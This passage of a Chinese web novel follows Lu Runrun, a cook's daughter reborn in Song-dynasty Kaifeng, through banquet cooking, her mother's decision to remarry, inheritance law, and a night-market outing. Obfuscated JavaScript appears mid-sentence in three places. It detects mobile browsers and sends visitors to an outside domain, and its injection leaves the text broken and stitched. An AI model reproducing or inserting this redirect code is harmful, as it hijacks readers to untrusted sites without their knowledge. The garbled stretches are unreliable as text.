这个时节吃的自然是春笋,但又快到夏日了,笋显得有些青黄不接,许多春笋都长得老了,口感发韧发柴,大打折扣。但是红壳笋却是正正好的,并且它的口感在一众春笋里尤为出众,无论蒸还是炒都好吃,不过若是要炖汤则还是冬笋要好一些。 看着满筐带着泥土的鲜嫩红壳笋,卢闰闰不禁想起了傍林鲜这种吃法。 最近出去都是和魏泱泱约了去吃杂嚼,虽然每次都尽兴,但次数多了不免有些乏味,正好之前立春的时候,她跟在娘身边去做宴席赚工钱去了,不如趁着时节正好,约魏泱泱一块去竹林里吃傍林鲜。 所谓傍林鲜,就是在竹林里现摘竹笋,现煮了吃。 吃笋是越新鲜越好吃,还有穿竹林清风扑面而来,自有一种舒适惬意的意境,她做菜,魏泱泱很擅长点茶,她俩一块去搭得很。 不过,当务之急还是做菜,卢闰闰很快将这个念头按下,将挑好的红壳笋交给杂工剥壳洗净。 而她则去把洗去污物的羊网油放入烧开水的锅中,迅速地烫了一下,而后将其摊平分切。鸡丝是去了筋膜的,谭贤娘早就将其腌好,里头放了姜末、葱段以及盐和酒,还有打散的鸡子。 笋这时候也洗净了端上来,另一个帮厨的娘子开始切笋丝。 而卢闰闰则把腌好的鸡丝整齐放在网油上,中间铺上笋丝,再把网油卷起来,类似于春卷那样,只不过还要用绿豆生粉和鸡蛋打成的糊把卷边收口处封起来。 卢闰闰感觉自己一个人太慢了,又喊了一个帮厨的娘子过来帮自己一块卷。 这个并不难。 之后则是上蒸笼蒸,蒸的时辰很要紧,少了不定形,多了肉易老。 她在心里头数数,数到一百八,便取出晾凉。 然后裹上蛋糊入油锅炸,再复炸一遍,直到色泽金黄,闻起来有油脂被彻底炸酥脆的香味,还有若有若无的肉香。 她夹起一根鸡丝签,切开一小段尝了起来,鸡肉腌制得很嫩,裹着羊网油锁住了水分,所以刚一咬就有滚烫香鲜的汁水从肉里溢出,烫着唇舌,却又叫人忍不住吸吮一口继续咬,感受着炸得恰到好处、没有腻味的酥脆羊网油和新鲜脆爽的笋丝融为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506422|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一体,仅仅是食材本身的味道就足够味美。 卢闰闰夹了一筷喂给帮工的娘子,那娘子也眼睛一亮,由衷赞道:“酥脆不硬,好手艺!” 帮工的娘子虽然谈不上多好的厨艺,也比外人更会品鉴一些,吃完一块后,忍不住道:“小娘子好生巧思,里头可是加了花椒,回味香而微麻,油香而不腻。” 底层百姓吃再多油荤也是不腻的,但宴席请的多是达官贵人,什么好东西没吃过?光靠炸物酥脆油香就令他们称道是不可能的,再说了前头荤腥吃了那么多,不乏鲜香至极的,尤其是宋人宴席上还喜欢主食搭着主食,很容易吃腻,只好适当加点巧思。 因为鸡肉是腌制好的,故而卢闰闰往里面加了一点磨得细细的花椒粉,没想到效果很是不错! 尝过以后,卢闰闰继续把鸡丝签裹了糊往油锅里下,宴席的人多,手脚不麻利不行,而且哪道菜先哪道菜后都是有讲究的。 等全都炸好装盘,饶是体力好如卢闰闰,也不由捶了捶自己的腰和肩。 虽然才一道菜,但还是好累啊! 卢闰闰忍不住扭头去看她娘,又要自己做菜,又要看着别人做得如何,指挥别人做事,尽管是冷着脸,却精神抖擞,中气十足,一看就知道气血很好的样子。 卢闰闰决定不为难自己,从年龄上讲,她娘三十许,正是气血最足,能干一番大事业的好时候。 她呢? 现年十七,这个年纪精气神不好多正常啊! 想她上辈子这个年纪的时候还是个高中生,为了高三提前一个月开学,学得面黄枯瘦,走路都是飘着的,一副随时都能升天的病鬼相。 虽然两者并不能相提并论,但她还是很好地宽慰了自己,接下来也不再主动做什么,只是时不时切菜、摆盘,习以为常地摸鱼了。 很快,她就把这个宴席给摸到了尾声。 灶房里的这些人是四司六局发工钱,卢闰闰是跟着她娘一起来的,和唤儿一样,并没有工钱,有工钱的是她娘,但…… 她有赏钱。 虽然不是很多,一般主家为了讨喜头,只要宴席做得好,都会额外给她们点赏钱,不仅是她们这些外来的雇工,就是主家的下人也是一样有赏钱的。 然而今日,兴许是因为她也正经做了一道菜,赏钱除了与旁人一样的一百文钱外,竟然还有一个小小的银莲蓬,虽说不大,但上头连莲子都是一颗颗能动的。 她掂了掂,估计得有个四五两。 一两银约莫是一贯钱,也就是说这回她得了笔横财。 四五贯钱够她去大相国寺每月五日的市集上好生逛一逛了,说起来她许久没有挑选衣料了,不成,卢闰闰摇了摇头,买布料做衣裳这样的事,不能自己出钱,大开销还是用家里的钱,她得把这钱攒下来做私房钱。 很快,卢闰闰捻了颗碟子里的蜜煎樱桃,这是多出来没送上宴席的,她含在嘴里咬了咬,先是甜滋滋的味道,咬破樱桃以后,是一股酸味,刺得她忍不住皱眉。 这是新做的蜜煎樱桃,季节不对,樱桃熟得不够,故而酸得厉害。 好在她心里可比蜜煎樱桃还要酸涩,从前也不是没有拿过多的赏钱,无一不是要上交给她娘。 卢闰闰不由叹气,捂着新得的小银莲蓬舍不得收起来。 要想攒□□己,怕是遥遥无期了。 趁着她娘去见主家,卢闰闰决定多捂捂,说不定捂热了它有灵性就不走了。 不知道是不是卢闰闰的心太虔诚,谭贤娘竟然真的破天荒没有收走主家另外给的贵重赏钱,让卢闰闰疑惑不已,这回主家是给了她娘多少赏钱,才能连这个都忘了? 工钱是定好的,这个卢闰闰知道,由四司六局给她娘,拢共是一百贯,先给二十贯定钱,宴席做完再给余下的八十贯。 照例来说,以她娘的名声,另给的赏钱正常是百八十贯。 能叫她娘讶然的赏钱,魏国大长公主家里这般豪奢吗? 虽说是大长公主,但官家似乎和这位姑母并不亲近,赏赐寻常,所嫁也只是寻常勋贵,也没听说什么特殊之处。 就在卢闰闰冥思苦想的时候,她没有注意到谭贤娘盯了她几回,都是欲言又止。 良久,谭贤娘还是直接说了出来。 她不是喜欢拐弯绕圈子的人。 “闰闰,我要改嫁了。” “啊?” 4. 家产 “什么?” 和娘一块坐在青布小轿内,许是避让什么人,轿子晃了晃,正好把卢闰闰给晃懵了,不知道自己是否听错,一时没反应过来。 这也不怪她,她娘新丧夫的时候,不知多少人来提过亲,舅父家里也一再问过,都被娘给拒了,这些年谁来提亲,娘就把谁扫地出门,没有一点好脸色。 导致她猛然听她娘一提,都怀疑自己是不是听错了。 谭贤娘对卢闰闰一惊一乍的样子习以为常,她不是那种苦口婆心、孩子蹙个眉就嘘寒问暖的母亲,故而,她只是顿了顿,面色平静,继续阐述。 “他是枢密院守阙书令史事,从九品的官,虽说穷了点,又好吃,但好歹是个官身。 “你知道,我嫁人是为了给你找爹。” 卢闰闰发懵,怎么又扯上她了? 谭贤娘这时才正眼看她,“你到了该成婚的年纪,多一个有官身的爹,亲事会好上许多。” 为了我? 卢闰闰一时出神。 谭贤娘瞥了她一眼,洞悉了她的想法,在她开口前道:“也为了我自己,我已将你抚养成人,守寡多年,是时候为我自己打算一番。” 她娘话说得有些冷漠,卢闰闰却已经习惯,并不往心上去。相处多年,谁不知道谁,卢闰闰很清楚,自己这辈子的娘是个看起来冷漠不容情,说话直接不拐弯,实际上心地却很好的人。 卢闰闰毫不犹豫,她握住谭贤娘的手,诚恳道:“娘成婚也好,守寡也罢,只要对方人品好,待阿娘好,能令你开怀,闰闰都无异议,闰闰只盼阿娘安康惬怀,便心满意足,再欣喜不过了。” 改嫁这件事,谭贤娘只和她娘说过,物色人选总要有人帮忙操持。她定了人选以后,她娘就让她转圜着些和闰闰说,若是闰闰不同意,态度更要温煦一些。谭贤娘面上虽不表态,但她娘说的那些劝慰的话,她也暗自记下,却没想都未成用上。 谭贤娘默了片刻,也未说什么感人的算话,只道:“嗯。” 阿娘的平静在卢闰闰的意料之内,她只好讪讪松开手,露着洁白的贝齿笑了笑,东摸摸自己的鬓发,西理理裙裳,忙碌的动作用来掩饰自己的尴尬。 她娘有时冷静得过分,以至于她一煽情起来,就显得气氛怪怪的。 而下一刻,卢闰闰忙碌的动作悉数停下,她盯着谭贤娘手里的一颗银角子,挪不开眼。 “你今月的用度。”谭贤娘道。 不愧是她娘,财大气粗,这么一个银角子拿出来,眼睛都不眨一下。 谭贤娘平日里对卢闰闰的用度管得还是较为严,一月给八百文,任由她花销,并不过问,而跟着自己去宴席时得到的寻常赏钱也是留着给她用,但要是像今日这样贵重些的,譬如金银类的赏赐,一概是收起来的。 今日不仅不收银莲蓬,还主动给了银角子,卢闰闰在想自己回去是否应该拜一拜财神赵玄坛。 而谭贤娘则抿了抿唇,她生性如此,不擅长宽慰人。她把银角子放到女儿的手里,然后道:“他是我精挑细选过的,婚后,我们仍住在家中,该怎么过便怎么过,一切如常。” 卢闰闰本来就没放在心上,但有钱不拿是傻子,她虔诚地接过银角子,过手的时候习惯性掂了掂,估摸得有个二三两重,她当即扬唇笑得灿烂,“娘,这个月给这般多吗?” 谭贤娘嗯了一声,“你过两日不是要去大相国寺还愿吗?多出来的只当是给你买粉和糖霜的钱。” 这些家里都有,阿娘是厨娘,时不时钻研菜式,哪可能会少了这些。能用家里的,卢闰闰这个财迷才不可能大费周章去另外花钱,但那又如何? 她笑眯眯收下,大呼阿娘心善。 相比起圆滑善谈的女儿,谭贤娘要显得冷淡许多,她没有对卢闰闰的夸赞有任何反应,只是如例行公事般询问道:“你要做什么点心?” “我想做槐叶冷淘,我前几回瞧了,旁人供奉的无非是糕点一类,想来寺庙里的师父们都吃腻了,不如趁着时节好,也请佛祖菩萨们尝尝鲜。” 提起与食物相关,谭贤娘便会变得肃然认真。 她摇头否则,“不妥,虽已近夏,但近几日天气反复,仍然寒凉,这时候吃槐叶冷淘,新鲜是新鲜,可若脾胃虚弱者吃了,只怕易暴下。” 这点卢闰闰倒是没想到。 她懊恼自己思虑不周,当即改口,“那我再想想别的。” * 而这一想,就想到了夜里。 她请陈妈妈帮着遮掩,然后就带着唤儿去赴魏泱泱的约,逛起了州桥夜市,她手上拿着热腾腾刚炸好的馉饳,却有些心不在焉,都没顾上吃。 这回供奉的糕点到底做点什么好呢? 作为死后胎穿到宋代的人,卢闰闰难免对神佛有些敬畏心,加之先前谭贤娘病重,卢闰闰去寺里许愿,结果她娘病当真好了,即便她认为主要是郎中药到病除,但还愿时也抱着宁可信其有的想法,慎重对待,每回供奉的糕点都不重样。 因而,当魏泱泱与她说话时,她足愣了好一会儿才侧头看向对方。 魏泱泱却以为她是在为了即将进门的继爹而出神,早在甫一见面时,卢闰闰就把今日发生的事都说了。魏泱泱也就知道闰闰要多个继爹的事。 魏泱泱拍了下卢闰闰的肩,主动出言宽慰,“哎呀,要我说你也别烦心了,你都这般大了,又是进你家门,即便不是入赘做接脚夫,也差不了多少,怎么都给不了你脸色看。” “我不是为这个。”卢闰闰道。 “那为什么?怕他和你抢家产?”魏泱泱好奇了,继续问道。 卢闰闰摇头,她安静认真起来的样子,倒与谭贤娘有两分相像,身上莫名透出一股可靠的气质,语气肯定道:“他抢不了。 “《宋刑统》有云:寡妻妾无男者,承夫分,若改嫁,其见在部曲、奴隶、田宅不得费用,皆应分人均分。而《户令》中也有记载,寡妇无子孙并同居无有分亲,召接脚夫者,前夫田宅经官籍记讫,权给,计直不得过五千贯,其妇人愿归后夫家及身死者,方依户绝法。 “我娘若是再嫁,依律法是不能分除妆奁外的财物,若是招接脚夫,他要分得少许财物的前提是我娘膝下没有子女,也没有一同居住的亲属。 “故而,他是分不得我家财物的。即便他动了坏心思想杀了我分财物,也得是我娘同样身死,且愿意回归他家。哪怕是这样,他能分得的财物也只有少许,至少我家的宅子他绝分不走,而会归于官府。 “再者说,我娘识人的眼光还是有的。旁人轻易骗不过她的眼睛,能叫她应允出嫁的人,应当不坏。” 魏泱泱方一问,卢闰闰就熟练地说出这么一大串,也不知道是将这些律令条文看了多少遍,才能这般熟悉顺口。 魏泱泱知道卢闰闰是个有成算的人,却不成想她心中这般有数,想来财产上自己是没必要为她操心了,但仍忍不住夸她,“你这记性,实在好,可惜如今女子不能考童子科,否则说不准你也能考上。” 那必定是不成的。 卢闰闰对自己几斤几两,还是心中有数的。 她能背得这般顺,是因为知道自己是丧父独女以后,生怕像看过的小说那样被吃绝户,所以在长到能接触书籍的年纪后,就忙不迭看起了当代的法律条例,尤其是《宋刑统》,这一看才把她的心安住。 得益于她这一世的亲爹死得早,在她出嫁前身故,且她爹没有兄弟,她也没有兄弟,家里没有养子,故而,她能继承家中的全部财物。 依《宋刑统》“户绝资产”规定:诸身丧户绝者,所有部曲、客女、奴婢、店宅、资财,并令近亲转移货卖,将营葬事及量营功德之外,余财并与女。 因此,即便亲爹的族亲们时不时前来打秋风,总想着占便宜,她也是不怵的。 除非她娘想不开过继一个儿子,那么她能分的财产就会少上许多。若是她未出嫁是在室女,兴许能分得一半,若是出嫁女,则分三分之一。 而她娘若是再嫁或是与接脚夫再生下的孩子,则是分不了财产的。 站在繁华的州桥夜市中,听着往来小贩的吆喝声,卢闰闰不由得再一次感恩上天,让她生在这个时代,生在五京之首天子脚下的东京开封府。 宋代女性的财产继承权是得到明文规定的,在室女和寡妇都能继承财产,立女户,要是更往前,兴许就没有这般幸运了。 而要是生在穷乡僻壤,有当地的族规约束,恐怕还不能完全依照律令。 但在汴京,若是有族人真敢闯进宅子,侵占她的财物,她就告上开封府,只有赢的份,压根不怵。 站在她身旁的魏泱泱虽然觉得她胸有成竹,应是不必担心,但作为至交好友,仍想帮着做点什么。于是,魏泱泱沉吟片刻,还是道:“话虽如此,他若是个好人亦是妥当些。” “枢密院守阙书令史事……”她张嘴喃喃重复了遍。 忽而,魏泱泱眼睛发亮,想到了什么,兴奋道:“恰好我有一位堂叔,是在枢密院做杂役,待我归家后,喊我爹去打听打听。” “那再好不过了。”卢闰闰面对着魏泱泱,牵住她的双手,一再感激,“知道他是何等人,我也心安些,我真不知如何谢你。” 若是这样对谭贤娘,谭贤娘只会嗯一声,而后默默抽回手。 但对魏泱泱却很受用。 她压了压翘起的唇角,抬起下巴,年轻姣美的脸上露出自得的神情,“你我之间,谈什么谢字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506423|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是我唯一的好友,做什么都应当。” 很显然,魏泱泱是需要说好话哄的人。 卢闰闰挽起魏泱泱的手臂,继续往前走,经过这一打岔,她的兴致明显好了起来,“我今日得了赏银,这个月的用度阿娘又多给了不少,过两日是十五,我要去还愿,正好遇上大相国寺每月五日的市集,到时候我们一起吧。” “成啊。”魏泱泱欣然应允,她的扑满里头没攒下什么钱,但去大相国寺逛逛总无妨。 魏泱泱边说,边把自己手里的脆筋巴子撕下一大条,喂进卢闰闰的嘴里。 脆筋巴子是长条状的干肉,魏泱泱买的是没有腌制过的,刚入口没什么味道,卢闰闰费力咬起来,梆硬,但多咬几口肉香味就出来了,咸香咸香的。 好不容易咽下去,卢闰闰摸了摸腮帮子,有点酸。 脆筋巴子好吃是好吃,就是太费牙了。 但买点放在荷包里,平时无聊的时候可以撕两块吃,倒是很能打发时光。 卢闰闰也把自己手上用大竹签串起来的炸馉饳递到魏泱泱嘴边,魏泱泱并不客气,咬了一个馉饳。馉饳是市井里最常见的吃食,可以煮汤也可以油炸,内里的馅料也有很多种。 卢闰闰买的是寻常的猪肉馅炸馉饳,最外面炸出一层酥皮,紧随的是面皮发酵过后的绵软口感,有别于肉馒头外皮的厚实,它带点韧劲,却比饺子皮厚些软些,而且被肉汁浸透,吃起来口感好还不腻,兼具了炸物的香和蒸面点的不费牙。 但里头的肉馅就没那么好吃了,本来宋朝没煽过的猪肉就有些腥膻味,纵然加了姜末也掩盖不住,更莫说内里那么大一块的馅,难免肥腻。故而炸馉饳上头都会撒些盐,中和那股腻人的滋味,勉强算是相得益彰。 卢闰闰穿越以后吃穿不愁,又有位做厨娘的娘,吃食上稍稍有些挑剔,觉得这炸馉饳只是一般般,但魏泱泱家里不常开荤,倒是特别爱吃。 魏泱泱把一个炸馉饳吃完以后,忍不住夸起来。 于是,卢闰闰又喂她吃了一个。 姐妹俩就这么边吃边走,魏泱泱吃得腮帮子鼓起来,一手掩着嘴,努力吞咽,却还不忘闲聊说话,“你方才既不是为了继爹的事出神,那是为了什么?” “哦,是为了过两日去大相国寺还愿做点心。我娘说近来天仍有些冷,不宜做槐叶冷淘,忽而叫我再想一个点心,一时不知道做什么。你帮我一道想想,广寒糕我做过了,蓬糕也做过了,还有雪糕、酥琼叶……” 卢闰闰报了一大串糕点名,她为了还愿,每逢初一十五就亲手做点心送到寺里,要送满一整年,如今一年快到了,做过的糕点自然很多,尤其是那些简单常见的,要不然她也不必如此深思。 她跟着她娘也学了不少糕点做法,但太昂贵要加香料的不行,过于复杂的,她一个人做不了太多。 魏泱泱自然也帮着努力想,她的手指托着下巴,语气带着点不肯定,“要不,你做点合时令的糕点?” 魏泱泱才说完呢,卢闰闰忽然停下,使得挽着她手的魏泱泱也不得不停住。 “怎么了?”魏泱泱疑惑。 卢闰闰望着脚边铺了块麻布的摊子露出笑容,“我知道要做什么了。” 魏泱泱随着卢闰闰的目光望过去,是很寻常的坐在地上吆喝叫卖的商贩。州桥夜市内有席地而坐叫卖的,有推车挑担的浮铺,也有正经的食肆茶肆从食铺,吃的喝的用的,应有尽有,甚至有卖奇珍异兽的外国商人。 而卢闰闰看着的那个摊子,摆着的主要是些蕈子,还有笋,都是山货。 魏泱泱没看出门道,她不解,“做什么?” 卢闰闰的目光盯的却是其中一个小布袋,面带胜券在握的微笑,“松花饼。” 那布袋里装的正是刚采摘的松花粉。 卢闰闰记得自己家里刚好有一罐外翁送来的蜜,加上松花粉,正好能做成松花饼。松花饼的做法也简单,她一个人能做得完,而且滋味不错,微甜带点酸,用来供奉正适宜不过。 只是,它应当算是乡野常吃的糕点,汴京似乎没怎么见过卖的。 卢闰闰吃过的几回,要么是外婆做的,要么是娘做的,调配口味上恐怕要斟酌斟酌,但比起其他糕点,也算不得麻烦。 卢闰闰果断把那一袋松花粉买下,因是山里常见的东西,故而没花几个钱。 心头大石一放下,卢闰闰看着人都松快了几分。 魏泱泱干脆提议顺路去附近的瓦子,听闻给官家献艺过的周娘子今日要去莲花勾栏表演,她很想去凑凑热闹。 卢闰闰正犹豫要不要去呢,魏泱泱忽然指着个人道:“诶,那人怎么有些眼熟。” 卢闰闰也看过去,不禁讶然,是有些巧了。 5. 宜男桥 她看到的不是别人,正是今天有过一面之缘的余六娘。 比起魏泱泱只是上工时偶然瞥见几眼的眼熟,卢闰闰肯定要印象深些,毕竟说过话,又自报家门了。 因而,卢闰闰主动帮魏泱泱解惑,“是四司六局新来的人,我今日遇到她时,她正被看门的婆子拦在门外。这些富贵人家的下人,一个个都精得像鬼,稍微气弱一些,被她们瞧出来,非要诈点油水不可。” “可不么!”说起这个,魏泱泱也是义愤填膺,她也遇见过,不仅是看门的婆子,还有主家灶房的下人管事,有的贪得很,即便宴席从头至尾没有插手半点,临了了还要分点剩下的昂贵食材走不说,就连赏钱也想分一杯羹。 魏泱泱和她姑母都在台盘司做事,她姑母大小算是管事,她跟着姑母没少见到那些人的嘴脸,一个个贪起来都有另一副嘴脸。 许是同仇敌忾,她看余六娘勉强有点自己人的亲近,眼神友善了不少。 不过…… 魏泱泱看着看着,忽然面露疑惑,“她怎么和女和尚们站一块?” 卢闰闰也注意到了,但白天余六娘已经说过自己住在录事巷,录事巷里住的除了暗娼,就是女尼,又听见油烛局的管事娘子提到妙慧师父,卢闰闰当时心里就有数了,这时候倒是不怎么惊讶。 只不过卢闰闰不是会私底下揣测嚼人家舌根的人,所以她没说话。 两人注意到了余六娘,余六娘自然也看到了两人。 余六娘五官生得偏寡淡,面上有几颗小痣,看起来有种清秀感,即便总是低着头,见着人总忍不住缩肩,却也不惹人讨厌,只觉得弱质纤纤。 她看到卢闰闰时,脸上不自主漾起真切笑意,许是跟在熟悉的师父们身边,比在外头少了些怯懦。 余六娘似乎和为首的女尼说了些什么,那位看着上了年纪,略有些发福,但慈眉善目的女尼解下腰上那个边缘磨损、色泽褪去鲜艳的荷包,从里头取了几文钱塞到余六娘手里。 余六娘先是推回去,神色看着有些急,但那位女尼和蔼地笑着,拍了拍她的手,不知说了什么,才叫余六娘咬着唇,犹豫地收下了。 随后,她就朝着卢闰闰二人走来。 见着人,余六娘显得有些慌乱,她低下头抿出一个腼腆的笑,“好、好生巧。” 和余六娘打过一回交道的卢闰闰知道她胆小内向,能主动上前来打招呼已经很不容易了,怕是已经用尽了胆气。故而,卢闰闰立刻接过话,面上露出笑模样,和气地说道:“是啊,不成想在这遇见了,实在有缘,我身侧的魏小娘子也是四司六局的人呢。” 余六娘抬头看了眼魏泱泱,又飞快低下眉,羞涩浅笑,“魏小娘子好。” 魏泱泱不像卢闰闰那样圆滑善谈,她骨子里有点傲气,若是家世品貌不能入她的眼,说话总忍不住有些刻薄。正是因此,她才会只有卢闰闰这一个交心好友。 因为她住的宜男桥小巷,里头的人不说全是贫苦吧,也没有真正富贵的,住的人家大多是在市井谋生,有脚夫与浣衣妇,还有挎着篮子沿街叫卖的小贩,稍好些的也不过是酒楼里的博士、焌糟娘子,以及工匠。 魏泱泱年轻,跟着姑母见过世面,旁人也许认命,适应了宜男桥小巷的日子,但她心比天高,从来都不喜欢宜男桥小巷的一切。 卢闰闰则恰好符合她心目中好友的样子。 祖上是官宦人家,如今稍没落了些,但也留下一座光化坊的大宅子荫蔽子孙,那地段极好,出门走几步就到了御街,开封府就在对面的利仁坊。而且卢闰闰的娘还是汴京首屈一指的厨娘,出入富贵门庭,备受礼遇。 而卢闰闰也很喜欢魏泱泱,她心气虽高,但为人做事却是光明磊落,不在人背后做乱七八糟的事,也不一板一眼,为人聪明有急智,还带点市井出身的匪气。 与魏泱泱的好比起来,那一点傲气,也可以理解为上进的野心。 因此,两人相识后,很快就成了至交好友。 彼此照拂。 魏泱泱这时见卢闰闰对余六娘颇为友善,加之知道余六娘刚作为四司六局的新人被看门婆子为难,正是看她顺眼的时候,因而说话要比平日里和善一些,没那么看不起人。 “我在家行二,你唤我二娘吧,你既认识闰闰,便也是我的朋友。我在台盘司做活,我姑母在台盘司大小也是管事娘子,下回若是再遇到看门的婆子拦你,或是主家有什么腌臜东西敢乱要钱为难人,你只管喊人来找我,我且要同他们好生理论理论。” 魏泱泱说着,脸色便冷下来,活像是要与人打一场的架势。 卢闰闰忍不住笑,她调侃道:“可别,你不得把人活撕了?” 魏泱泱白了她一眼,“当着人面乱编排我,我是那等市井泼皮不成!” 卢闰闰笑着告饶,并许诺一会儿她请客喝汤。 余六娘看着两人斗嘴,嘴角不自觉翘起,她们虽你一句我一句呛嘴,却很和谐,真正的友人才会如此。她也很想加入其中,哪怕不说话,只是看着,也觉得心情明朗。 她鼓足勇气,脸上扬起清浅微笑,期期艾艾道,“多、多谢二娘,大娘。” 卢闰闰留意到了她的紧张,于是笑道:“这就谢了,二娘她还未做什么呢,若要谢,只谢我好了,我可是实打实要出钱请喝汤呢!” 魏泱泱听了,当即撸了撸袖子,要挠她。 说话间就又闹起来了。 余六娘边抿嘴笑,边认真道:“你和二娘都是好人,我心中皆十分感激。” 这么说说笑笑地打闹了会儿,卢闰闰很快把两人领到了汴河河岸边的一处推车前,推车上立有油伞,伞角系了许多木牌,写着饮子名和钱。 例如香橙汤十文一碗。 这香橙汤却不是字面上的把香橙煮一煮做汤,而是将粉末冲进水里做成的。 听到粉末,兴许觉得廉价,但实际上做法并不简单,要将橙子去核切碎,与白梅肉、甘草和盐浸泡一夜,再慢火烘干,加上檀香一起捣成末的。 十文一碗,已是相当便宜。 换成在正店点一壶香橙汤,无非是冰镇一番,填些果肉花瓣,价却要翻上几番。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实众人不在乎那一碗半碗的,就是有人说了以后,其他人也起哄。 老妪笑呵呵地安抚他们,顾不上赚不赚钱,正准备迈着小步去给他们也舀上半碗,魏泱泱却看不下去了,她叉起腰,大声道:“怎么了,难不成差这几文钱,什么便宜都占,也不嫌丢人。 “小娘子怎么了!她今日才做了吴副都指挥使的席面,她的舌头是你们能比的吗?” 卢闰闰放下了碗,从荷包里掏出四十文钱在桌上,冷眼横视一圈,无声讥讽了那几个起哄的人,最后看向老妪,转而恢复了笑颜色,温和道:“多谢,这是饮子钱。那新安的行商想来不曾诓骗你,这竹叶煮成渴水的确滋味甚美。” 老妪安下心,连忙谢她,又忍不住生出愧意,“是我不好,倒生出是非来。这钱老婆子我可能不能收,是想请你尝的,若收了,怎好继续在此处卖饮子。” “收下吧。”卢闰闰把铜钱按回老妪手里,她笑着道:“若您真要谢我,不如下回再见到那新安行商,帮我留意留意,我也想买些新安的竹叶。” 老妪自是连连道好,应下了。 喝完香橙汤告辞的时候,魏泱泱还不忘剜了那几人一眼。 直到走出去一段路,魏泱泱才问起卢闰闰,“你买那竹叶做什么?你家又不做香饮子生意,要我说,你家中既不缺钱财,何不开间铺子?” 6. 开铺子 提起这个,卢闰闰就觉得无奈。 她摇摇头,语气沉闷,脚随意踢开地上的石头,“我娘不让。” “为何不让?”魏泱泱真是好奇已久。 旁边的余六娘也忍不住竖起耳朵。 “还能是为什么?”卢闰闰摊起手,语气中透着点厌烦,“老生常谈了,因我家一门全是女眷。做厨娘也就罢了,我娘去做宴席,挑的人家都是家风好的,又俱是富贵门庭,对外人也算客客气气,闹不出什么龌龊,可若是开铺子,免不得什么人都有,迎来送往,我娘孀居多年,我又未出阁,最怕风言风语,若是有不三不四的人缠上来,真就得不偿失。为了避免遭人言,她说了,非要我成亲有夫婿了,才肯开铺子。” 这一点,跟随师父们一块在录事巷长大的余六娘深有所感。 她可劲地点头,单薄缩起的肩都紧绷地挺起来,似在防备,“宵小之辈,如跗骨之蛆,一旦沾上,就难摆脱,可恨可恶至极!” 卢闰闰倒是诧异地望了她一眼,没想到她也有这般情绪直白表露的时候,足可见对那些宵小之徒有多厌恶。 而魏泱泱见卢闰闰这般说了,也不再追问铺子,转而好奇道:“你娘可帮你物色人选了?” 听她问起,卢闰闰没忍住笑出声,倒把魏泱泱弄莫名了。 魏泱泱疑惑地看看卢闰闰,又张开手,低头看看自己左右两边,颇为摸不着头脑,自己说了什么好笑的不成?应当没有吧,还是自己身上有什么不对的? 卢闰闰是听了她的话,想到自己的夫婿人选尚未物色,但继爹已经有眉目,油然生出了滑稽感。 但这话她不会傻到在外说,只忍不住抬起头继续喷笑,“不知为何,就是想笑。” 魏泱泱无语撇嘴,白了卢闰闰一眼,嫌弃道:“人来人往的,快别笑了,旁人还以为是笑死鬼上身了。” 魏泱泱边说,边往左右看,显然是不想丢人,可真有人诧异望过来了,她又瞪人家,架势可凶了。护归护,转过头来,她又喊卢闰闰站远些,她可不想招笑。 可卢闰闰要是能听她的,就不是卢闰闰了。 她越说,卢闰闰越靠近,最后强挽着她的手,整个人贴着她,靠在她肩上笑得前仰后翻。 魏泱泱也就是嘴上说得厉害,实际上拿卢闰闰一点办法也没有,只好扭开头,任由卢闰闰笑得花枝乱颤。 余六娘在人前不爱说话,跟在她们身侧,却也开心地抿嘴浅笑。 夜里的风微微清凉,吹得几个年轻的小娘垂长的衣摆乱飞,左侧是灯火阑珊的州桥夜市,数千盏油灯映亮了乌蒙的天穹,右侧是长长的汴水河岸,由远及近,能看到三两个光点,越靠近光点越大,朝着汴河缓慢游动。 她们身边不断经过行人、小商贩。 河风吹得人耳清目明,正好有一个膀大腰粗的婆婆提着竹挎篮经过,嘴里还吆喝着,“胶牙糖,胶牙糖,粘牙的胶牙糖~甜喏~两文钱一块!饧饼,饧饼,香脆可口的饧饼~吃耐放的饧饼~吃一口赛过做神仙喽~” 这话实在夸张,做官赛过做神仙也就罢了,吃口糖怎么能赛过做神仙。 不过,汴京的商贩为了引客注目,素来如此夸大。 但余六娘却忍不住多瞧了两眼,那卖胶牙糖的婆婆走街串巷地叫卖,眼睛多精啊,立刻停下来,笑容满面地问道:“小娘子,可要买个饧饼?香甜着呢!” 余六娘望了后的卢、魏二人一眼,接着回过头,小声问道:“饧饼怎么卖?” “五文钱一个,今儿买的人可多了,就剩这么些了,小娘子可要买?” 余六娘的手指不自觉捏了捏腰上轻飘飘的荷包,她低下头,“不、不必了。” 婆婆有心挽留,主动让价,“这样吧,那两位是你的密友吧,你若是买三个饧饼,我再送你一块胶牙糖如何?” 余六娘再一次回绝了,她的脸上发烫,手指无意识勾起,底气不足地说道:“只、只要三块胶牙糖。” 婆婆许是看出了什么,没再劝,把竹挎篮上盖的布掀开,一侧是敲好的胶牙糖,一侧是垒得整齐,还温热的饧饼。 